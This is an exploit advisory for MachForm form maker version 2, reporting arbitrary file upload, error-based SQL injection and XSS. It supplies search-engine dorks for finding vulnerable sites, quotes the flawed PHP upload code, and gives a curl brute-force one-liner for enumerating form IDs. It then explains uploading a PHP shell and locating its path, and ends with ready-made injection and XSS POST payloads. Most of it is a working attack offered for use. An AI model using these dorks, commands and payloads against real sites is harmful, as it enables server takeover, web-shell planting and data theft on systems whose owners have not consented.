############################################################################################ Exploit Title: Machform form maker - Multiple Vulnerabilities# Date: 2013 17 June# Exploit Author: Yashar shahinzadeh# Credit goes for: ha.cker.ir# Vendor Homepage: http://www.appnitro.com# Tested on: Linux & Windows, PHP 5.2.9# Affected Version : 2# Special thanks to: Mormoroth# Dork1: "Powered by MachForm" id=# Dork2: formularios/view.php?id=# Dork3: inurl:machform/view.php?id=## Demonstration clip: http://y-shahinzadeh.ir/tutorial/machform.rar# Contacts: { http://Twitter.com/YShahinzadeh , http://Twitter.com/Mormoroth }###########################################################################################
Summary:========1. Arbitrary file upload
2. MySQL Injection (Error based)and XSS
1. Arbitrary file upload:=========================......if(!empty($uploaded_files)){
foreach ($uploaded_files as $element_name){if(empty($form_review)){//move fileand check for invalid file
$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";if(move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)){
$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
$query ="update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
do_query($query);}}else{//for form with review enabled, append .tmp suffix to all uploaded files
//move fileand check for invalid file
$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp";if(move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)){
$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
$query ="update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
do_query($query);}if(!empty($uploaded_file_lookup[$element_name])){
unset($uploaded_file_lookup[$element_name]);}}}}......
Exploit:
In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:
$input_array = ap_sanitize_input($_POST);
$submit_result = process_form($input_array);
These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:
seq 1500| xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
grep “type=\”file\”" *.out
Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept:
http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg
All have to be done is uploading PHP shell,and trying to find its name on server. The file will be uploaded in the path:
http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php
In URL above,[ID]is gathered in brute-force phase,[element name]is gathered by viewing HTML source,and[mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said:
http://y-shahinzadeh.ir/tutorial/machform.rar
2. MySQL Injection (Error based)and XSS:=========================================......
$input_array = ap_sanitize_input($_POST);......
Exploit (POST to view.php after finding HTML elements):
element_1=1&element_2=’&element_3=1&form_id=11&submit=1
element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar